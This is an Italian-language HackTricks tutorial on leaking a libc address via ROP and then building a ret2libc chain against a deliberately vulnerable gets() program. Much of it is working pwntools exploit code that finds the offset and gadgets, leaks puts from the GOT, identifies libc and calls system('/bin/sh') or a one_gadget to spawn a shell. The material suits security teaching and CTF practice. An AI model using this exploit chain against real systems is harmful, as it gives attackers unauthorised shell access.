Leaking libc address with ROP

Impara l'hacking su AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Breve Riassunto

  1. Trova l'offset dell'overflow

  2. Trova il gadget POP_RDI, PUTS_PLT e MAIN, e PUTS gadgets

  3. Usa i gadget precedenti per leakare l'indirizzo di memoria di puts o un'altra funzione di libc e trova la versione di libc (scaricala)

  4. Con la libreria, calcola il ROP ed esploralo

Altri tutorial e binari per praticare

Questo tutorial sfrutta il codice/binario proposto in questo tutorial: https://tasteofsecurity.com/security/ret2libc-unknown-libc/ Altri tutorial utili: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

Codice

Nome file: vuln.c

#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie

Modello ROP - Leak LIBC

Scarica l'exploit e posizionalo nella stessa directory dell'eseguibile vulnerabile e fornisci i dati necessari allo script:

pageLeaking libc - template

1- Trovare l'offset

Il modello necessita di un offset prima di continuare con l'exploit. Se non ne viene fornito alcuno, eseguirà il codice necessario per trovarlo (per impostazione predefinita OFFSET = ""):

###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

Esegui python template.py verrà aperta una console GDB con il programma che si è bloccato. All'interno di quella console GDB esegui x/wx $rsp per ottenere i byte che sovrascriveranno il RIP. Infine ottieni l'offset utilizzando una console python:

from pwn import *
cyclic_find(0x6161616b)

Dopo aver trovato l'offset (in questo caso 40), cambia la variabile OFFSET all'interno del modello utilizzando quel valore. OFFSET = "A" * 40

Un altro modo sarebbe utilizzare: pattern create 1000 -- eseguire fino a ret -- pattern search $rsp da GEF.

2- Trovare i Gadgets

Ora dobbiamo trovare i gadget ROP all'interno del binario. Questi gadget ROP saranno utili per chiamare puts per trovare la libc in uso e successivamente per eseguire l'exploit finale.

PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

Il PUTS_PLT è necessario per chiamare la funzione puts. Il MAIN_PLT è necessario per chiamare di nuovo la funzione principale dopo un'interazione per sfruttare nuovamente il buffer overflow (round infiniti di sfruttamento). Viene utilizzato alla fine di ogni ROP per richiamare il programma nuovamente. Il POP_RDI è necessario per passare un parametro alla funzione chiamata.

In questo passaggio non è necessario eseguire nulla poiché tutto verrà trovato da pwntools durante l'esecuzione.

3- Trovare la libreria libc

È ora di trovare quale versione della libreria libc viene utilizzata. Per farlo, andremo a rivelare l'indirizzo in memoria della funzione puts e poi andremo a cercare in quale versione della libreria si trova la versione di puts in quell'indirizzo.

def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

Per farlo, la linea più importante del codice eseguito è:

rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

Questo invierà alcuni byte fino a sovrascrivere il RIP è possibile: OFFSET. Successivamente, imposterà l'indirizzo del gadget POP_RDI in modo che il prossimo indirizzo (FUNC_GOT) venga salvato nel registro RDI. Questo perché vogliamo chiamare puts passandogli l'indirizzo del PUTS_GOT poiché l'indirizzo in memoria della funzione puts è salvato nell'indirizzo puntato da PUTS_GOT. Dopo di che, verrà chiamato PUTS_PLT (con PUTS_GOT all'interno del RDI) in modo che puts possa leggere il contenuto all'interno di PUTS_GOT (l'indirizzo della funzione puts in memoria) e lo stampi. Infine, la funzione principale viene chiamata di nuovo in modo da poter sfruttare nuovamente l'overflow.

In questo modo abbiamo ingannato la funzione puts per stampare l'indirizzo in memoria della funzione puts (che si trova nella libreria libc). Ora che abbiamo quell'indirizzo possiamo verificare quale versione di libc viene utilizzata.

Poiché stiamo sfruttando un binario locale, non è necessario scoprire quale versione di libc viene utilizzata (basta trovare la libreria in /lib/x86_64-linux-gnu/libc.so.6). Ma, in caso di exploit remoto, spiegherò qui come puoi trovarlo:

3.1- Ricerca della versione di libc (1)

Puoi cercare quale libreria viene utilizzata nella pagina web: https://libc.blukat.me/ Ti permetterà anche di scaricare la versione di libc scoperta

3.2- Ricerca della versione di libc (2)

Puoi anche fare:

  • $ git clone https://github.com/niklasb/libc-database.git

  • $ cd libc-database

  • $ ./get

Ci vorrà del tempo, sii paziente. Per far funzionare questo abbiamo bisogno di:

  • Nome del simbolo libc: puts

  • Indirizzo libc leakato: 0x7ff629878690

Possiamo capire quale libc è più probabile che venga utilizzata.

./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

Riceviamo 2 corrispondenze (dovresti provare la seconda se la prima non funziona). Scarica la prima:

./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

3.3- Altre funzioni per ottenere informazioni

Copia la libc da libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so nella nostra directory di lavoro.

puts
printf
__libc_start_main
read
gets

4- Trovare l'indirizzo basato sulla libc e sfruttarlo

A questo punto dovremmo conoscere la libreria libc utilizzata. Poiché stiamo sfruttando un binario locale, userò semplicemente: /lib/x86_64-linux-gnu/libc.so.6

Quindi, all'inizio di template.py cambia la variabile libc in: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Imposta il percorso della libreria quando lo conosci

Dando il percorso alla libreria libc, il resto dello sfruttamento verrà calcolato automaticamente.

All'interno della funzione get_addr verrà calcolato l'indirizzo base della libc:

if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

Si noti che l'indirizzo di base finale della libc deve terminare in 00. Se non è il tuo caso, potresti aver rivelato una libreria incorretta.

Quindi, l'indirizzo della funzione system e l'indirizzo della stringa "/bin/sh" verranno calcolati dall'indirizzo di base della libc e dalla libreria libc fornita.

BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

Finalmente, l'exploit di esecuzione /bin/sh sta per essere preparato e inviato:

rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

Spieghiamo questo ultimo ROP. L'ultimo ROP (rop1) ha finito chiamando di nuovo la funzione principale, quindi possiamo sfruttare nuovamente l'overflow (per questo il OFFSET è qui di nuovo). Quindi, vogliamo chiamare POP_RDI puntando all'indirizzo di "/bin/sh" (BINSH) e chiamare la funzione system (SYSTEM) poiché l'indirizzo di "/bin/sh" verrà passato come parametro. Infine, viene chiamato l'indirizzo della funzione di uscita in modo che il processo termini correttamente e non venga generato alcun avviso.

In questo modo l'exploit eseguirà una shell _/bin/sh**.**

4(2)- Utilizzando ONE_GADGET

Potresti anche utilizzare ONE_GADGET per ottenere una shell anziché utilizzare system e "/bin/sh". ONE_GADGET troverà all'interno della libreria libc un modo per ottenere una shell utilizzando un solo indirizzo ROP. Tuttavia, di solito ci sono alcune restrizioni, le più comuni e facili da evitare sono come [rsp+0x30] == NULL. Poiché controlli i valori all'interno del RSP, devi solo inviare alcuni valori NULL in più in modo che la restrizione venga evitata.

ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

FILE DI EXPLOIT

Puoi trovare un modello per sfruttare questa vulnerabilità qui:

pageLeaking libc - template

Problemi comuni

MAIN_PLT = elf.symbols['main'] non trovato

Se il simbolo "main" non esiste. Allora puoi trovare dove si trova il codice principale:

objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

e impostare manualmente l'indirizzo:

MAIN_PLT = 0x401080

Puts non trovato

Se il binario non sta utilizzando Puts, dovresti controllare se sta utilizzando

sh: 1: %s%s%s%s%s%s%s%s: not found

Se trovi questo errore dopo aver creato tutto l'exploit: sh: 1: %s%s%s%s%s%s%s%s: not found

Prova a sottrarre 64 byte all'indirizzo di "/bin/sh":

BINSH = next(libc.search("/bin/sh")) - 64
Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Last updated